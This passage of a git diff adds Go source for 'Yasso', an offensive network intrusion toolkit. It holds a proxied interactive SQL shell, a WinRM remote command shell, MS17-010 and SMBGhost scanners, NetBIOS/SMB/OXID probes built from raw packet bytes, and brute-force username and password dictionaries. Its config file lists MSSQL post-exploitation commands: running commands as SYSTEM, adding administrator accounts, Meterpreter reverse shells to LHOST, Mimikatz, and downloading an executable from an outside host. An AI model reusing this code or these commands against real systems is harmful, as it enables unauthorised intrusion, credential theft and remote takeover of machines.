error") +} + +// 返回一个连接 + +func GetConn(addr string,timeout time.Duration)(net.Conn,error) { + if ProxyHost != "" { + dialer,err := ConnBySOCKS5() + if err != nil { + return nil,err + } + conn, err := dialer.Dial("tcp",addr) + if err != nil { + return nil,err + } + return conn,nil + }else{ + return net.DialTimeout("tcp",addr,time.Duration(timeout)) + } +} + + +func SQLExecute(db *sql.DB,q string)(*Results,error){ + if q == "" { + return nil, nil + } + rows, err := db.Query(q) + //rows, err := db.Query(q) + if err != nil { + return nil, err + } + columns, err := rows.Columns() + if err != nil { + return nil, err + } + + var results [][]string + for rows.Next() { + rs := make([]sql.NullString, len(columns)) + rsp := make([]interface{}, len(columns)) + for i := range rs { + rsp[i] = &rs[i] + } + if err = rows.Scan(rsp...); err != nil { + break + } + + _rs := make([]string, len(columns)) + for i := range rs { + _rs[i] = rs[i].String + } + results = append(results, _rs) + } + if closeErr := rows.Close(); closeErr != nil { + return nil, closeErr + } + if err != nil { + return nil, err + } + if err := rows.Err(); err != nil { + return nil, err + } + return &Results{ + Columns: columns, + Rows: results, + }, nil +} + +type Results struct { + Columns []string + Rows [][]string +} + +func (r *Results) String() string { + buf := bytes.NewBufferString("") + table := tablewriter.NewWriter(buf) + table.SetHeader(r.Columns) + table.AppendBulk(r.Rows) + table.Render() + return buf.String() +} + +func SQLshell(db *sql.DB,sqltype string){ + reader := bufio.NewReader(os.Stdin) + Println(fmt.Sprintf("Welcome to Yasso sql client ")) + for { + fmt.Printf("Yasso-%s> ",sqltype) + sqlstr, err := reader.ReadString('\n') + if err != nil { + log.Panic("failed to ReadString ", err) + } + sqlstr = strings.Trim(sqlstr, "\r\n") + sqls := []byte(sqlstr) + if len(sqls) > 6 { + if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" { + //result set sql + r,err := SQLExecute(db,sqlstr) + if err != nil { + Println(fmt.Sprintf("%v",err)) + } + Println(fmt.Sprintf("%v",r)) + } else { + //no result set sql + r,err := SQLExecute(db,sqlstr) + if err != nil { + Println(fmt.Sprintf("%v",err)) + } + Println(fmt.Sprintf("%v",r)) + } + } + if sqlstr == "exit" { + Println("exit sql shell") + break + } + } +} \ No newline at end of file diff --git a/cmd/version.go b/cmd/version.go new file mode 100644 index 0000000..47aa70b --- /dev/null +++ b/cmd/version.go @@ -0,0 +1,17 @@ +package cmd + +import ( + "github.com/spf13/cobra" +) + +var versionCmd = &cobra.Command{ + Use: "version", + Short: "Print Yasso's version in screen", + Run: func(cmd *cobra.Command, args []string) { + Println(Clearln + "Yasso Version is 0.1.1") + }, +} + +func init(){ + rootCmd.AddCommand(versionCmd) +} \ No newline at end of file diff --git a/cmd/vuln.go b/cmd/vuln.go new file mode 100644 index 0000000..9f41276 --- /dev/null +++ b/cmd/vuln.go @@ -0,0 +1,78 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "sync" +) + +// smbghost eternalblue +var ( + ms17010bool bool + smbGohstbool bool + allbool bool +) +var VulCmd = &cobra.Command{ + Use: "vulscan", + Short: "Host Vulnerability Scanning (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + var ips []string + if Hosts == "" { + _ = cmd.Help() + return + } + if Hosts != "" { + ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips + }else{ + Println("Yasso scanner need a hosts") + return + } + if smbGohstbool == true || ms17010bool == true || allbool == true { + Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips))) + } + VulScan(ips,ms17010bool,allbool,smbGohstbool) + }, +} + +func init(){ + VulCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + VulCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy") + VulCmd.Flags().BoolVar(&smbGohstbool,"gs",false,"scan smbghost") + VulCmd.Flags().BoolVar(&ms17010bool,"ms",false,"scan ms17010") + VulCmd.Flags().BoolVar(&allbool,"all",false,"scan all vuln contains ms17010,smbghost") + rootCmd.AddCommand(VulCmd) +} + +func VulScan(ips []string,ms17010bool bool,allbool bool,smbGohstbool bool){ + var wg sync.WaitGroup + + go func() { + for _,ip := range ips{ + tunnel <- ip + } + }() + for i:=0;i nul", stdout, os.Stderr) + if err != nil { + return nil,false,err + } + if res == 0 && err == nil { + return client,true,nil + } + return nil,false,err +} + +func WinRMShell(client *winrm.Client,Command string,shell bool){ + if shell == true { + shell, err := client.CreateShell() + if err != nil { + Println(fmt.Sprintf("[!] create shell failed %v",err)) + return + } + var cmd *winrm.Command + cmd, err = shell.Execute("cmd.exe") + if err != nil { + Println(fmt.Sprintf("[!] create shell failed %v",err)) + return + } + + go io.Copy(cmd.Stdin, os.Stdin) + go io.Copy(os.Stdout, cmd.Stdout) + go io.Copy(os.Stderr, cmd.Stderr) + cmd.Wait() + shell.Close() + }else{ + _, err := client.Run(Command, os.Stdout, os.Stderr) + if err != nil { + Println(fmt.Sprintf("[!] Execute Command failed %v",err)) + return + } + } +} \ No newline at end of file diff --git a/cmd/winscan.go b/cmd/winscan.go new file mode 100644 index 0000000..a9d3f91 --- /dev/null +++ b/cmd/winscan.go @@ -0,0 +1,557 @@ +package cmd + +import ( + "bytes" + "fmt" + "github.com/spf13/cobra" + "net" + "strconv" + "strings" + "sync" + "time" +) + +var netbiosflag bool +var smbflag bool +var oxidflag bool +var allflag bool + + +var WinCmd = &cobra.Command{ + Use: "winscan", + Short: "netbios、smb、oxid scan", + Run: func(cmd *cobra.Command, args []string) { + var ips []string + if Hosts == "" { + _ = cmd.Help() + return + } + if Hosts != "" { + ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips + }else{ + Println("Yasso scanner need a hosts") + return + } + Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips))) + winscan(ips,allflag) + }, +} +func init(){ + rootCmd.AddCommand(WinCmd) + WinCmd.Flags().BoolVar(&smbflag,"smb",false,"Set smb flag and use smb scan") + WinCmd.Flags().BoolVar(&netbiosflag,"netbios",false,"Set netbios flag and use netbios scan") + WinCmd.Flags().BoolVar(&oxidflag,"oxid",false,"Set oxid flag and use oxid scan") + WinCmd.Flags().BoolVar(&allflag,"all",true,"Set all flag and use oxid,netbios,smb scan") + WinCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + WinCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set net conn timeout") + WinCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it") +} + +func winscan(host []string, allay bool){ + if netbiosflag == true { + NbtScan(host) + }else if smbflag == true { + SmbScan(host) + }else if oxidflag == true { + OxidScan(host) + }else if allay == true{ + runall(host) + } else{ + Println("[*] Your need set netbios、smb、oxid flag") + } +} + + + +var oxidQuery1 = [...]byte{ + 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, + 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, + 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, + 0x00, 0x00, +} + +var oxidQuery2 = [...]byte{ + 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x05, 0x00, +} + +func ConncetNbios(ip string, port int) (string, int, error, []string) { + nbname, err := netBios(ip) + if nbname.msg != "" { + return ip, port, nil, []string{nbname.msg} + } + return ip, port, err, nil +} + +var smbQuery = [...]byte{ + 0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, + 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, + 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, + 0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, + 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, + 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, + 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54, + 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20, + 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, +} + +var ( + UNIQUE_NAMES = map[string]string{ + "\x00": "Workstation Service", + "\x03": "Messenger Service", + "\x06": "RAS Server Service", + "\x1F": "NetDDE Service", + "\x20": "Server Service", + "\x21": "RAS Client Service", + "\xBE": "Network Monitor Agent", + "\xBF": "Network Monitor Application", + "\x1D": "Master Browser", + "\x1B": "Domain Master Browser", + } + + GROUP_NAMES = map[string]string{ + "\x00": "Domain Name", + "\x1C": "Domain Controllers", + "\x1E": "Browser Service Elections", + } + + NetBIOS_ITEM_TYPE = map[string]string{ + "\x01\x00": "NetBIOS computer name", + "\x02\x00": "NetBIOS domain name", + "\x03\x00": "DNS computer name", + "\x04\x00": "DNS domain name", + "\x05\x00": "DNS tree name", + "\x07\x00": "Time stamp", + } +) + +type NbnsName struct { + unique string + group string + msg string + osversion string +} + +func netBios(host string)(nbname NbnsName,err error) { + nbname, err = getNbnsname(host) + var payload0 []byte + if err == nil { + name := netbiosEncode(nbname.unique) + payload0 = append(payload0, []byte("\x81\x00\x00D ")...) + payload0 = append(payload0, name...) + payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...) + } + realhost := fmt.Sprintf("%s:%v", host, 139) + conn, err := GetConn(realhost,TimeDuration) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return + } + err = conn.SetDeadline(time.Now().Add(TimeDuration)) + if err != nil { + return + } + + if len(payload0) > 0 { + _, err1 := conn.Write(payload0) + if err1 != nil { + return + } + _, err1 = readbytes(conn) + if err1 != nil { + return + } + } + + payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00") + payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00") + _, err = conn.Write(payload1) + if err != nil { + return + } + _, err = readbytes(conn) + if err != nil { + return + } + + _, err = conn.Write(payload2) + if err != nil { + return + } + ret, err := readbytes(conn) + if err != nil || len(ret) < 45 { + return + } + + num1, err := bytetoint(ret[43:44][0]) + if err != nil { + return + } + num2, err := bytetoint(ret[44:45][0]) + if err != nil { + return + } + length := num1 + num2*256 + if len(ret) < 48+length { + return + } + os_version := ret[47+length:] + tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) + tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) + msg1 := string(tmp1[:len(tmp1)-1]) + nbname.osversion = msg1 + index1 := strings.Index(msg1, "|") + if index1 > 0 { + nbname.osversion = nbname.osversion[:index1] + } + nbname.msg += "\n\t-------------------------------------------\n\t" + nbname.msg += msg1 + "\n\t" + start := bytes.Index(ret, []byte("NTLMSSP")) + if len(ret) < start+45 { + return + } + num1, err = bytetoint(ret[start+40 : start+41][0]) + if err != nil { + return + } + num2, err = bytetoint(ret[start+41 : start+42][0]) + if err != nil { + return + } + length = num1 + num2*256 + num1, err = bytetoint(ret[start+44 : start+45][0]) + if err != nil { + return + } + offset, err := bytetoint(ret[start+44 : start+45][0]) + if err != nil || len(ret) < start+offset+length { + return + } + index := start + offset + for index < start+offset+length { + item_type := ret[index : index+2] + num1, err = bytetoint(ret[index+2 : index+3][0]) + if err != nil { + return + } + num2, err = bytetoint(ret[index+3 : index+4][0]) + if err != nil { + return + } + item_length := num1 + num2*256 + item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) + index += 4 + item_length + if string(item_type) == "\x07\x00" { + //Time stamp, 暂时不想处理 + } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { + nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) + } else if string(item_type) == "\x00\x00" { + break + } else { + nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content)) + } + } + nbname.msg=strings.TrimSpace(nbname.msg) + return nbname, err +} + +func getNbnsname(host string) (nbname NbnsName, err error) { + senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} + realhost := fmt.Sprintf("%s:%v", host, 137) + conn, err := net.DialTimeout("udp", realhost, TimeDuration) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return + } + err = conn.SetDeadline(time.Now().Add(TimeDuration)) + if err != nil { + return + } + _, err = conn.Write(senddata1) + if err != nil { + return + } + text, err := readbytes(conn) + if err != nil { + return + } + if len(text) < 57 { + return nbname, fmt.Errorf("no names available") + } + num, err := bytetoint(text[56:57][0]) + if err != nil { + return + } + data := text[57:] + msg:="" + for i := 0; i < num; i++ { + if len(data) < 18*i+16 { + break + } + name := string(data[18*i : 18*i+15]) + flag_bit := data[18*i+15 : 18*i+16] + if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { + msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)]) + } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { + msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)]) + } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { + name_flags := data[18*i+16 : 18*i+18][0] + if name_flags >= 128 { + nbname.group = strings.Replace(name, " ", "", -1) + msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)]) + } else { + nbname.unique = strings.Replace(name, " ", "", -1) + msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)]) + } + } else { + msg += fmt.Sprintf("%s \n\t", name) + } + } + nbname.msg += msg + nbname.msg=strings.TrimSpace(nbname.msg) + return +} + +func bytetoint(text byte) (int, error) { + num1 := fmt.Sprintf("%v", text) + num, err := strconv.Atoi(num1) + return num, err +} + + +func readbytes(conn net.Conn) (result []byte, err error) { + buf := make([]byte, 4096) + for { + count, err := conn.Read(buf) + if err != nil { + break + } + result = append(result, buf[0:count]...) + if count < 4096 { + break + } + } + return result, err +} + +func netbiosEncode(name string) (output []byte) { + var names []int + src := fmt.Sprintf("%-16s", name) + for _, a := range src { + char_ord := int(a) + high_4_bits := char_ord >> 4 + low_4_bits := char_ord & 0x0f + names = append(names, high_4_bits, low_4_bits) + } + for _, one := range names { + out := one + 0x41 + output = append(output, byte(out)) + } + return +} + + +func Connectoxid(ip string,port int) (string, int, error, []string) { + conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration) + if err != nil { + return ip, port, err, nil + } + defer conn.Close() + err,oxidres:=oxidIpInfo(conn) + if err!=nil{ + return ip,port,err,nil + }else { + return ip,port,nil,oxidres + } +} + +func oxidIpInfo(conn net.Conn) (error, []string) { + + buf := make([]byte, 256) + _, err := conn.Write(oxidQuery1[:]) + if err != nil { + return err, nil + } + _, err = conn.Read(buf) + if err != nil { + return err, nil + } + _, err = conn.Write(oxidQuery2[:]) + if err != nil { + return err, nil + } + _, err = conn.Read(buf) + if err != nil { + return err, nil + } + end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00}) + if len(buf)<40||end==-1{ + return fmt.Errorf(""),nil + } + buf = buf[40:end] + var oxidRes []string + for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; { + res := buf[1:i] + res = bytes.Replace(res, []byte{0x00}, []byte(""), -1) + oxidRes = append(oxidRes, string(res)) + buf = buf[i+3:] + i = bytes.Index(buf, []byte{0x00, 0x00, 0x00}) + } + return nil, oxidRes +} + + +func smbinfo(conn net.Conn) (error,[]string) { + buf := make([]byte, 1024) + _, err := conn.Write(smbQuery[:]) + if err != nil { + return err,nil + } + _, err = conn.Read(buf) + if err != nil { + return err,nil + } + if len(buf)<81{ + return fmt.Errorf(""),nil + } + buf = buf[81:] + end := bytes.Index(buf, []byte{0x00, 0x00, 0x00}) + var smbRes []string + domain := buf[:end] + hostname := buf[end:] + domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1) + hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1) + smbRes = append(smbRes, "domain: "+string(domain)) + smbRes = append(smbRes, "hostname: "+string(hostname)) + return nil,smbRes +} + +func Connectsmb(ip string, port int) (string, int, error, []string) { + conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration) + if err != nil { + return ip, port, err, nil + } + defer conn.Close() + ok,smbRes:=smbinfo(conn) + if ok==nil{ + return ip,port,nil,smbRes + }else { + return ip,port,ok,nil + } +} + +func OxidScan(host []string){ + //result := PortScan(host,[]int{135}) + var wg sync.WaitGroup + for _,v := range host{ + wg.Add(1) + go func(v string) { + defer wg.Done() + _,_,err,r := Connectoxid(v,135) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:])) + }else{ + Println(fmt.Sprintf("[OXID] %v",r)) + } + }(v) + } + wg.Wait() +} + +func SmbScan(host []string){ + var wg sync.WaitGroup + for _,v := range host{ + wg.Add(1) + go func(v string) { + defer wg.Done() + ip,_,err,r := Connectsmb(v,445) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r)) + } + }(v) + } + wg.Wait() +} + +func NbtScan(host []string){ + var wg sync.WaitGroup + for _,v := range host { + wg.Add(1) + go func(v string) { + defer wg.Done() + _,_,err,r := ConncetNbios(v,139) + if err != nil { + return + } + for _,s := range r { + Println(fmt.Sprintf("[+] %v",v)) + Println(fmt.Sprintf("\t%v",s)) + } + + }(v) + } + wg.Wait() +} + +func runall(host []string){ + var wg sync.WaitGroup + for _,v := range host { + wg.Add(1) + go func(v string) { + defer wg.Done() + func(v string) { + _,_,err,r := ConncetNbios(v,139) + if err != nil { + return + } + for _,s := range r { + Println(fmt.Sprintf("[+] %v",v)) + Println(fmt.Sprintf("\t%v",s)) + } + }(v) + func(v string){ + ip,_,err,r := Connectsmb(v,445) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r)) + } + }(v) + func (v string) { + _,_,err,r := Connectoxid(v,135) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:])) + }else{ + Println(fmt.Sprintf("[OXID] %v",r)) + } + }(v) + + }(v) + } + wg.Wait() +} \ No newline at end of file diff --git a/config/config.go b/config/config.go new file mode 100644 index 0000000..53d014d --- /dev/null +++ b/config/config.go @@ -0,0 +1,79 @@ +package config + +import ( + "time" +) + +// about login struct + +type HostIn struct { + Host string + Port int + Domain string + TimeOut time.Duration + PublicKey string +} + +// 爆破的默认用户名 + +var Userdict = map[string][]string{ + "ftp": {"kali","ftp", "admin", "www", "web", "root", "db", "wwwroot", "data",}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "sql"}, + "smb": {"administrator", "admin", "guest"}, + "rdp": {"administrator", "admin", "guest","Oadmin"}, + "postgres": {"postgres", "admin"}, + "ssh": {"root", "admin","kali","oracle","www"}, + "mongodb": {"root", "admin"}, + "redis": {"root"}, +} + +// 爆破的默认密码 + +var Passwords = []string{"123456", "admin", "admin123", "root","12312", "pass123", "pass@123", "930517","password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e","kali"} + + +var WarKitHelp = [][]string{ + []string{"**IF You Want SQL Command Execute**","declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"}, + []string{"EXEC sp_cmdExec 'whoami'","Any Windows command"}, + []string{"EXEC sp_cmdExec 'whoami /RunSystemPriv'","Any Windows command with NT AUTHORITY\\SYSTEM rights"}, + []string{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`,"Adding users with RottenPotato (Kumpir)"}, + []string{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`,"Adding user to localgroup with RottenPotato (Kumpir)"}, + []string{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`,"(Powershell) with RottenPotato (Kumpir)"}, + []string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`,`x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`}, + []string{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`,"x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"}, + []string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`,"x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"}, + []string{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`,"x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"}, + []string{`EXEC sp_cmdExec 'sp_Mimikatz'`,`select * from WarSQLKitTemp => Get Mimikatz Log`}, + []string{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`,`Download File`}, + []string{`EXEC sp_cmdExec 'sp_getSqlHash'`,`Get MSSQL Hash`}, + []string{`EXEC sp_cmdExec 'sp_getProduct'`,`Get Windows Product`}, + []string{`EXEC sp_cmdExec 'sp_getDatabases'`,`Get Available Databases`}, +} + +var SharpKitHelp = [][]string{ + []string{"EXEC ClrExec 'clr_ping ip'","Detect whether the target is reachable"}, + []string{"EXEC ClrExec 'clr_cat filename'","Viewing target file Contents"}, + []string{`EXEC ClrExec 'clr_ls dir'`,"Listing directory files"}, + []string{`EXEC ClrExec 'clr_rm filename'`,"rm traget file"}, + []string{`EXEC ClrExec 'clr_getav'`,"List target host kill software"}, + []string{`EXEC ClrExec 'clr_rdp'`,`Open the remote desktop and return to the remote desktop port`}, + []string{`EXEC ClrExec 'clr_efspotato whoami'`,"Calls efspotato to execute system commands"}, + []string{`EXEC ClrExec 'clr_badpotato whoami'`,"Calls badpotato to execute system commands"}, + []string{`EXEC ClrExec 'clr_netstat'`,"Listing netstat -an result"}, +} + + +var( + // DisMapPorts TODO: dismp 默认端口号 + + DisMapPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,443,800,801,808,880,888,889,1000,1080,1880,1881,2000,2001,2601,3443,7001,7007,7010,7070,7878,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8016,8017,8018,8019,8022,8029,8030,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8105,8108,81110,8161,8175,8188,8189,8200,8201,8222,8300,8360,8443,8445,8448,8484,8499,8500,8800,8848,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9300,9443,9448,9500,9628,9800,9899,9981,9986,9988,9998,9999,11001" + + // DefaultHeader TODO: 默认User-Agent + + DefaultHeader = map[string]string{ + "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", + "User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", + "Cookie": "rememberMe=int", + } +) diff --git a/config/rule.go b/config/rule.go new file mode 100644 index 0000000..0da0aca --- /dev/null +++ b/config/rule.go @@ -0,0 +1,4619 @@ +package config + +type ReqHttp struct { + ReqMethod string + ReqPath string + ReqHeader []string + ReqBody string +} + +type InStr struct { + InBody string + InHeader string + InIcoMd5 string +} + +type RuleLab struct { + Rank int + Name string + Type string + Mode string + Rule InStr + Http ReqHttp +} + +//TODO: dismap指纹 https://github.com/zhzyker/dismap/blob/main/config/rule.go + +var RuleData = []RuleLab{ + {1, "08CMS", "body", "", InStr{"(content=\"08cms|typeof(_08cms))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "1039soft-JiaXiao", "body", "", InStr{"(name=\"hid_qu_type\" id=\"hid_qu_type\"|/handler/validatecode.ashx?id=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "17mail", "body", "", InStr{"(//易企邮正式版发布)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "1caitong", "body", "", InStr{"(/custom/groupnewslist.aspx?groupid=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "21grid", "body", "", InStr{"(技术支持:网格(福建)智能科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "21publish-Blog", "ico", "", InStr{"", "", "(e08333841cbe40d15b18f49045f26614)"}, 